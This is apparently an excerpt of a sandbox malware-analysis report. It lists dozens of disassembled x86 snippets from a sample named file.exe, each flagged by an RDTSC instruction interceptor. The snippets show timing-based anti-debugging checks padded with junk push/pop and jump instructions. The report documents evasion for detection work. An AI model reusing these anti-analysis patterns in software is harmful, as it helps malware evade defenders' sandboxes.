Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097871 second address: 1097875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097875 second address: 109787B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109787B second address: 10978A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jns 00007FFB34C126B6h 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007FFB34C126B6h 0x00000019 jmp 00007FFB34C126C4h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10978A9 second address: 10978B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10978B1 second address: 10978C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10979F4 second address: 10979F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10979F9 second address: 1097A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0228 second address: 10B0257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D7h 0x00000007 jmp 00007FFB34E3B6D0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0257 second address: 10B0261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FFB34C126B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0261 second address: 10B0282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFB34E3B6D6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0282 second address: 10B0293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 je 00007FFB34C126BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0564 second address: 10B056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FFB34E3B6C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B056F second address: 10B0580 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FFB34C126BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0AA4 second address: 10B0AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0BD2 second address: 10B0BE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0BE9 second address: 10B0BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E82 second address: 10B0E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFB34C126B6h 0x0000000a jbe 00007FFB34C126B6h 0x00000010 jg 00007FFB34C126B6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E99 second address: 10B0E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E9F second address: 10B0EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3E5A second address: 10B3E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3F96 second address: 10B3FCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FFB34C126B6h 0x00000009 jng 00007FFB34C126B6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FFB34C126C9h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push ebx 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4253 second address: 10B42B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jbe 00007FFB34E3B6C8h 0x0000000c push dword ptr [ebp+122D2266h] 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FFB34E3B6C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c call 00007FFB34E3B6C9h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 jmp 00007FFB34E3B6D6h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B42B0 second address: 10B42C6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFB34C126BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B42C6 second address: 10B42CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B42CA second address: 10B42EC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 jnp 00007FFB34C126B6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007FFB34C126B6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B42EC second address: 10B42F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6DC4 second address: 10B6DD4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jl 00007FFB34C126D8h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6DD4 second address: 10B6DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0023 second address: 4CF0029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0029 second address: 4CF004C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB34E3B6CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF004C second address: 4CF0096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FFB34C126BBh 0x00000012 pushfd 0x00000013 jmp 00007FFB34C126C8h 0x00000018 and ecx, 3262CEA8h 0x0000001e jmp 00007FFB34C126BBh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0096 second address: 4CF00A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov cl, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF00A8 second address: 4CF00AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF00AC second address: 4CF00B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF00B2 second address: 4CF00B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF00B8 second address: 4CF00BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF00BC second address: 4CF00C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0D3F second address: 4CD0D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FFB34E3B6D0h 0x0000000b xor ecx, 5A86DE58h 0x00000011 jmp 00007FFB34E3B6CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FFB34E3B6CBh 0x00000024 sbb si, 251Eh 0x00000029 jmp 00007FFB34E3B6D9h 0x0000002e popfd 0x0000002f mov cx, A6E7h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0D9E second address: 4CD0DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34C126C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0DBA second address: 4CD0DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, cx 0x00000012 pushfd 0x00000013 jmp 00007FFB34E3B6CEh 0x00000018 or eax, 4B2744A8h 0x0000001e jmp 00007FFB34E3B6CBh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20119 second address: 4D2011D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2011D second address: 4D20128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov di, ax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB012C second address: 4CB0134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0134 second address: 4CB0163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 jmp 00007FFB34E3B6CCh 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007FFB34E3B6D0h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0163 second address: 4CB0167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0167 second address: 4CB016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB016D second address: 4CB01B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFB34C126BEh 0x00000013 add eax, 3FCF2828h 0x00000019 jmp 00007FFB34C126BBh 0x0000001e popfd 0x0000001f pushad 0x00000020 mov ecx, 02D32A35h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01B2 second address: 4CB01D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push dword ptr [ebp+0Ch] 0x00000009 jmp 00007FFB34E3B6CEh 0x0000000e push dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov si, dx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0224 second address: 4CB022F instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 mov ah, FEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB022F second address: 4CB024E instructions: 0x00000000 rdtsc 0x00000002 mov edi, 0B2AC090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFB34E3B6D2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0ADE second address: 4CD0AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0AE2 second address: 4CD0AFE instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 7C730A1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, ecx 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FFB34E3B6CDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0AFE second address: 4CD0B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB34C126C7h 0x00000009 sbb esi, 5297BBCEh 0x0000000f jmp 00007FFB34C126C9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007FFB34C126BDh 0x0000001e xchg eax, ebp 0x0000001f jmp 00007FFB34C126BEh 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FFB34C126C7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B74 second address: 4CD0B8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, E14Ah 0x00000007 mov edi, 463AC816h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov di, cx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B8C second address: 4CD0B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0672 second address: 4CD0676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0676 second address: 4CD067C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD067C second address: 4CD0685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5784h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0685 second address: 4CD06BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jmp 00007FFB34C126C6h 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFB34C126C7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0621 second address: 4CD0627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0334 second address: 4CD034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 08ACEABAh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ax, di 0x00000014 mov bl, 76h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD034B second address: 4CD035B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0338 second address: 4CF037E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007FFB34C126C3h 0x0000000c xor ecx, 40CEAFFEh 0x00000012 jmp 00007FFB34C126C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov cx, FB55h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF037E second address: 4CF0384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0384 second address: 4CF0388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0388 second address: 4CF03EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FFB34E3B6CDh 0x00000013 movzx eax, bx 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007FFB34E3B6CDh 0x0000001d or eax, 0FEEAE46h 0x00000023 jmp 00007FFB34E3B6D1h 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b jmp 00007FFB34E3B6CEh 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push edi 0x00000036 pop ecx 0x00000037 push ebx 0x00000038 pop esi 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD04DA second address: 4CD0525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFB34C126BBh 0x00000013 adc ax, 32DEh 0x00000018 jmp 00007FFB34C126C9h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0525 second address: 4CD05A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB34E3B6D3h 0x00000009 sub eax, 6BFA6CEEh 0x0000000f jmp 00007FFB34E3B6D9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushad 0x0000001c mov cx, di 0x0000001f pushfd 0x00000020 jmp 00007FFB34E3B6D5h 0x00000025 and cx, 03D6h 0x0000002a jmp 00007FFB34E3B6D1h 0x0000002f popfd 0x00000030 popad 0x00000031 mov ax, 3347h 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05A0 second address: 4CD05A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05A4 second address: 4CD05AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05AA second address: 4CD05BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34C126BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05BB second address: 4CD05BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0E9C second address: 4CE0EA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0EA2 second address: 4CE0EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0EB3 second address: 4CE0EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0EB7 second address: 4CE0ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FFB34E3B6CAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0ED3 second address: 4CE0ED9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0ED9 second address: 4CE0F2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FFB34E3B6CEh 0x00000012 and ax, 62C8h 0x00000017 jmp 00007FFB34E3B6CBh 0x0000001c popfd 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 call 00007FFB34E3B6CDh 0x00000029 pop esi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0170 second address: 4CF01F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, cl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FFB34C126BAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FFB34C126BDh 0x00000018 or ax, FB06h 0x0000001d jmp 00007FFB34C126C1h 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FFB34C126C3h 0x0000002f sbb ax, AA3Eh 0x00000034 jmp 00007FFB34C126C9h 0x00000039 popfd 0x0000003a call 00007FFB34C126C0h 0x0000003f pop ecx 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105F5 second address: 4D1060D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6D4h 0x00000009 rdtsc
